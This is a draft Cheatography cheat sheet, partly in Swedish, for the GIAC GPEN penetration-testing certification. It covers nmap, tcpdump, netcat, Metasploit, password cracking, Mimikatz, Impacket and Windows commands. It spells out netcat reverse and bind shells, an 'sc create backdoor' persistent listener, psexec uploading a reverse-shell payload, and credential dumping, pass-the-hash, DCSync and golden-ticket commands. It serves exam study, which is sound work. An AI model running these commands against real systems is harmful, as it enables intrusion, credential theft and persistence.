Show Menu
Cheatography
  1. Home >
  2. Cheat Sheets >

GPEN Cheat Sheet (DRAFT) by

GIAC Penetration Tester Certification Cheat Sheet

This is a draft cheat sheet. It is a work in progress and is not finished yet.

nmap

-sn <ip>
Ping sweep
-sT <ip>
TCP-full connect scan
-sS <ip>
TCP SYN half-open (requires root)
-sU <ip>
UDP scan
-sV <ip>
Version scan
-O <ip>
OS-fin­ger­print
-Pn <ip>
Treat all host as online (skip host discovery)
--top-­por­ts=10 <ip>
Scan top 10 most common ports
<ip> -sV -Pn --reason
Add --reason to get why port is open
-6 -sV <ip>
IPv6 scan
-sA <ip>
Avoid IDS/IPS firewalls (only sends ACK-flag)
-iL list-o­f-i­ps.txt
Scan from list of IPs
Save output to file
-oN
Normal output
-oX
XML format
-oG
Greppable format
-oS
Script kiddie output
-oA
Output in the three useful formats (all but script kiddie)
Scripts
auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, saft, version, vuln
-sC/--­script
Script scan
nmap --scri­pt=vuln <ip> -Pn -n –v
Use --scri­pt=vuln to find vulner­abi­lities for host
nmap --scri­pt-­hel­p=h­ttp­-brute
Find info about script http-brute
Timing template
900000ms, 900, 900s, and 15m
Time defini­tions. All means the same amount of time
-T0
paranoid
-T1
sneaky
-T2
polite
-T3
normal (default)
-T4
agressive
-T5
insane
Delays
--host­-ti­meout <ti­me>
Give up on slow target hosts. value 0 can be used to mean “no timeout”
--scan­-delay <ti­me>
Wait <ti­me> between each probe
--scri­pt-­timeout <ti­me>
Sets a ceiling on script execution time.

tcpdump

-D
List alla interfaces
-i
Record from specific interface
-nn
Do not resolve hostnames
-w output.pcap
write to file
-v
Verbose
Example
tcpdump -i eth1
Record traffic from eth1
tcpdump -i eth1 -w ~/outp­ut.pcap
Write to file
tcpdump -i eth1 -r ~/outp­ut.pcap
Read from file
Filter
tcpdump -i eth0 host 127.0.0.1
Filter on host 127.0.0.1 using host
tcpdump -i eth0 dest net 172.16.14­6.0/24
Filter on network using net (and dest)
tcpdump -i eth0 portrange 0-1024
Filter on portrange
tcpdump -i eth0 port 80
Filter on port
tcpdump -i eth0 tcp src port 80
Filter on src (and port)
Protocol
ether, ip, ip6 , arp, rarp, tcp, udp
tcpdump -r sus.pcap icmp or host 172.16.146.1
Filter on protocol icmp and host
tcpdump -r sus.pcap not icmp
Filter NOT on protocol icmp
Use 
and / or
to combine these together

netcat (nc)

Flags
-l
Listen mode
-L
Listen harder - Make a persistant listener
-n
Don't resolve names
-z
Zero I/O. Don't send any data
-v
verbose
-p
Local port
-u
UDP connection
-e
Program to execute after connec­tions occurs (unsafe, needs to be enabled in some cases. Depends on nc-ver­sion)
Examples
nc -l -p 1337 -e /bin/bash
Open listener
nc -zvn <ip> <po­rt>
Use as port scanner
nc <ip> <po­rt>
Connect to port, eg webserver
File receiv­er/­sender
nc -l port > filename
On host: Start file receiver
nc host port < filename
On client: Send file
Reverse Shell (attacker is listener)
On target machine
 
nc <ip> <po­rt> -e /bin/bash
On attacking machine
 
nc -lvnp <po­rt>
Bind Shell (victim is listener)
On target machine
 
nc -lvnp <po­rt> -e /bin/bash
On attacking machine
 
nc -nv <ip> <po­rt>

Metasploit

Modules
Auxiliary
Verkty­gsm­oduler för scanning, fuzzing, brutef­orce, sniffning
Encoders
Kodar payloads för att undvika antivirus
Exploits
Utnyttjar en sårbarhet i mål (t.ex. buffer overflow, RCE)
NOPs
(No Operation code) används för padding i exploits
Payloads
Kod som körs efter en exploit (t.ex. reverse shell)
Plugins
Additional scripts can be integrated within an assessment with m­sfc­ons­ole and coexist.
Post
Används efter access, för enum, dump, persis­tence
Evasion
Designade för att undvika AV/EDR, t.ex. via obfusk­ering
Exploi­t/m­ult­i/h­andler
Ta emot en payload (lyssnare)
API
load extapi
Extended API (måste laddas manuellt)
stdapi
Standa­rd-API (laddas automa­tiskt)

LINUX

 

Crontab

crontab -l
List jobs
crontab -e
Edit jobs
 
*      *      *      *      *      /home/­use­r/s­cri­pt.sh
Min Hour Day(Mo­nth­,1-31) Month Day(Week, 0-6)

PASSWORD

 

/etc/s­hadow

sai:$6$YTJ7JK­nfs­B4e­snbS$5XvmYk­2.G­XVW­hDo­2TY­GN2­hCi­tD/­wU9­Kov.uZ­D8x­snl­euf­1r0­ARX­3qo­dIK­iDs­doQ­A44­4b8­IMP­MOn­UWD­mVJ­Vke­g1:­194­46:­0:9­999­9:7:::
YTJ7JK­nfs­B4esnbS
salt
Password hashes
$1$
MD5
$2$
Blowfish
$2y$
Blowfish
$5$
SHA-256
$6$
SHA-512
$y$
yescrypt

Hashcat

hashcat -a 0 -m 16500 <jw­t> <wo­rdl­ist>
Crack JWT
hashcat -m 1800 -a 0 -o found1.txt crack1.hash 500_pa ‐ ssw ord s.txt
Crack Linux SHA512 password with dict
hashcat --force -m 13100 -a 0 lab3.h ashcat /path/ to/ Dic ‐ t.txt --show
Crack Kerberos Service Ticket for account password
-a
Attack mode (0=str­aight)
-m
Hash-type
Hash types
-m 0
MD5
-m 100
SHA1
-m 1800
SHA512­crypt
-m 5600
NetNTLMv2
-m 13100
Kerberos
-m 16500
JWT

Mimikatz

1. privil­ege­::debug
Ge Mimikatz rättig­heter att läsa minnet­/pr­ocesser
2. sekurl­sa:­:lo­gon­pas­swords
Dumpa hashar från minnet
token:­:el­evate
Bli SYSTEM
token:­:whoami
Köra kommando som SYSTEM

Impacket

pth-sm­bcl­ient.py -hashes aad3b4... EXAMPL­E/a­dmi­nis­tra­tor­@10.10.10.5
Use NTML-hash at machine
impack­et-­sec­ret­sdump
Dump NTLM hash (or use Mimikatz)
impack­et-­sec­retdump -sam sam -system system -security security LOCAL
Retrive password
impack­et-­pse­xec.py -hashes :aad3b­435­b51­404­eea­ad3­b43­5b5­1404ee EXAMPL­E/A­dmi­nis­tra­tor­@19­2.1­68.1.10
Use NTLM hash (pass-­the­-hash) -> Remote shell

John the ripper (JtR)

Commands
john hash.txt
Run john against hash.txt
Output­/Misc
john.pot
File with cracked password
john.rec
store john's current status
john --restore
Picks up where it left of. Based on john.rec
jumbo-­package
Support for additional hash types. Separate package install. Use --rule­s=jumbo
 

WINDOWS

 

Windows

Registry
SAM
NTLM Password passwords - Stores creden­tials and account inform­ation for local users
Secrets
Stores recent cached login passwords of users. Stores secrets used by the Local Security Authority (LSA)
System
Stores system config­uration data
Security
Stores user security policy data
Paths
HKEY_L­OCA­L_M­ACH­INE\SAM
HKEY_L­OCA­L_M­ACH­INE­\Se­cur­ity­\Po­lic­y\S­ecrets
HKEY_L­OCA­L_M­ACH­INE­\SYSTEM
HKEY_L­OCA­L_M­ACH­INE­\Se­curity
Misc
Admini­str­ato­r:5­00:­aad­3b4­35b­514­04e­eaa­d3b­435­b51­404­ee:­cd0­6ca­7c7­e10­c99­b1d­33b­748­5a2­ed8­08:::
Exempel på rad i SAM
AAD3B4­35B­51404EE
Hårdkodad LANMAN padding

Kerberos termer

Domain Controller (DC)
Controlls the AD
Key Distri­bution Center (KDC)
Serivce in DC. User authen­ticates with user/pass. Distribute TGT.
Authen­tic­ation Service (AS)
Part of KDC. Authen­tic­ates. kerberos client - grants a TGT
Ticket Granting Service (TGS)
Part of KDC. Validates the TGT. Issues a ST to specific resour­ce/­service
Ticket Granting Ticket (TGT)
Proof of authen­tic­ation. Given by KDC. Is then used to ask for ST (at TGS)
Service Tickets (ST)
Gives access to asked resour­ce/­service
FLÖDE
1. Användaren loggar in och autent­iseras av KDC.
2. KDC utfärdar en TGT till använd­aren.
3. Användaren använder TGT:n för att begära servic­ebi­ljetter från TGS för de tjänster de behöver åtkomst till.
4. TGS verifierar TGT:n och utfärdar servic­ebi­lje­tten.
5. Användaren använder servic­ebi­ljetten för att autent­isera mot tjänsten.
Misc
NTDS.dit
Located at Domain Contro­ller. Stores NTML, kerber­os-keys etc.
DOMAIN­\Ad­min­ist­rat­or:­500­:aa­d3...:­cd0­6...:::
Rad i NTDS.dit

Kerber­oasting

(1) Discover SPNs
eg. with Impacket (GetUs­erS­PN.py), PowerV­iew­(Ge­t-D­oma­inUser)
(2) Request service tickets
eg. with Impacket
(3) Export service tickets
eg. with Impacket --> $krb5t­gs$­23$­*....
(4) Crack service tickets.
eg. with Hashcat
setspn
setspn -T lab.local -Q */*
List all SPNs in domain

Windows tools

wmic ( Windows Management Instru­men­tation Comman­d-line)
Samla systeminfo eller kör kod tyst – lokalt eller fjärr
wmic /node:­"­192.16­8.1.10­" process call create "­cmd.exe /c whoami­"
Starta kommando på fjärrm­askin
wmic /node:­tar­get­A.h­ack­er.lab /user:­hac­ker.la­b\admin /passw­ord­:pa­ssw0rd get product name,v­end­or,­version /forma­t:csv
Lista alla instal­lerad mjukvara med namn och version
sc (Service Control)
Skapa eller styra Window­s-t­jänster för exekvering eller persistens
sc create backdoor binPath= "­cmd.exe /k" start= auto
Skapa bakdör­rss­ervice
sc create newservice binpath= "­cmd.exe /k c:\Win­dow­s\T­emp­\nc.exe -L -p 8080 -e cmd.ex­e"
Skapa lyssnare via nc genom persistent (/k) cmd
tasklist
Visa alla aktiva processer
tasklist /v | findstr "­svc­hos­t"
Hitta intres­santa processer
tasklist /fo csv /fi "­use­rname ne servic­eac­ct"
Hitta processer som inte körs av servic­eacct. Spara till CSV
net
Hantera användare, grupper och resurser
net user bob passw0­­rd1234 /add
Add user
net share
Lista alla delade mappar
net use
Lista aktiva nätver­ksa­nsl­utn­ingar
net accounts
Kontop­lolicy (lösenor, lockout etc)
schtasks
Skapa schema­lagda tasks
schtasks /query /tn myshell
List task myshell
schtasks /Create /tn myshell /tr C:\use­rs­\non­\sh­ell.exe \sc MINUTE
Create task myshell, path to program (/tr), every minute (/sc)
psexec
Sysint­ernals som låter dig köra kommandon på en fjärrd­ator. Kör ofta som SYSTEM
psexec \\192.1­68.1.100 cmd.exe
Starta kommando (skal) på fjärrdator
psexec \\target -u DOMAIN­\admin -p Passwo­rd123 cmd.exe
Med user/pass
psexec \\target cmd.exe /c "­whoami > C:\out­put.tx­t"
Kör kommando utan att öppna skal
psexec \\target -c revshe­ll.exe
Ladda upp och kör payload

PASS-T­HE-HASH

Autent­isera till en tjänst direkt med NTLM-hash, utan att känna till löseno­rdet.
sekurl­sa::pth /user:­Adm­ini­strator /domai­n:LAB /ntlm:­cd0­6ca­7c7­e10­c99­b1d­33b­748­5a2­ed808 /run:c­md.exe
PTH
Metasploit expects the fortmat LMHASH­:NT­HASH.
Eg. when using SMBPass

OVERPA­SS-­THE­-HASH

Använd NTLM-h­ashen för att skapa en Kerberos TGT → sedan autent­isera via Kerberos.
kerber­os:­:purge
OPtH
sekurl­sa::pth /user:­admin /domai­n:t­est.local /ntlm:­cd0­6ca­7c7­e10­c99­b1d­33b­748­5a2­ed808 /run:c­md.exe

Golden Ticket

En förfalskad Kerberos TGT som skapas med krbtgt-hashen och ger fullst­ändig, obehindrad access i en domän — utan att fråga domänk­ont­rol­lanten. TGT:n kan vara valid i 10 år. Kräver admin.
lsadum­p::­dcsync /user:­krbtgt
Hämta krbtgt-kontots NTML-hash via Mimikatz (kärver domäna­dmin)
kerber­os:­:golden
Skapa golden­-ticket med Mimikatz
krbtgt
Domain account signing all requests for TGTs
DCSync
Attack där man imiterar en DC och ber AD om löseno­rds­hashar via replik­ering.
To create a Golden Ticket with Mimikatz: valid user ID, domain SID, domain name, krbtgt hash, any username

kerber­os:­:golden /user:­Sup­erH­acker /ID:500, /sid: S-1-5-­21-­132­673­183­5-1­460­568­60-­287­7405472 /krbtg­t:<NTLM hash of krbtgt accoun­t> /domai­n:H­ACK­EDL­AB.l­ocal

CMD

/c
Run and close window
/k
Run and keep window open
/q
Quiet mode
/d
Disable autorun
/s
Quote friendly mode
cmd.exe /k color 0a
Start window with green color, and keep it open

Responder

Waiting for "­inc­orr­ect­" authen­tic­ations, to get NTLM-hash. Pretends to be the correct service. Requires root
responder -I eth0
Start

MISC

 

Misc

Lista portar
netstat -antp | grep LISTEN
Lists open ports/­con­nec­tions
Get-Ne­tTC­PCo­nne­ction -State Listen
Lists open ports/­con­nec­tions (power­shell)
Lista grupper
net localgroup "­Adm­ini­sta­tro­r"
Lista admini­strator
Get-Lo­cal­Gro­upM­ember -Name "­Adm­ini­str­ato­r"
Lista admini­strator
Lista firewall states
Get-Ne­tFi­rew­all­Profile | Select Name,E­nabled
Lista firewall states
netsh advfir­ewall show allpro­files
Lista firewall states

Common ports

21
FTP
22
SSH & SFTP
23
Telnet
69
TFTP
445
SMB
2049
NFS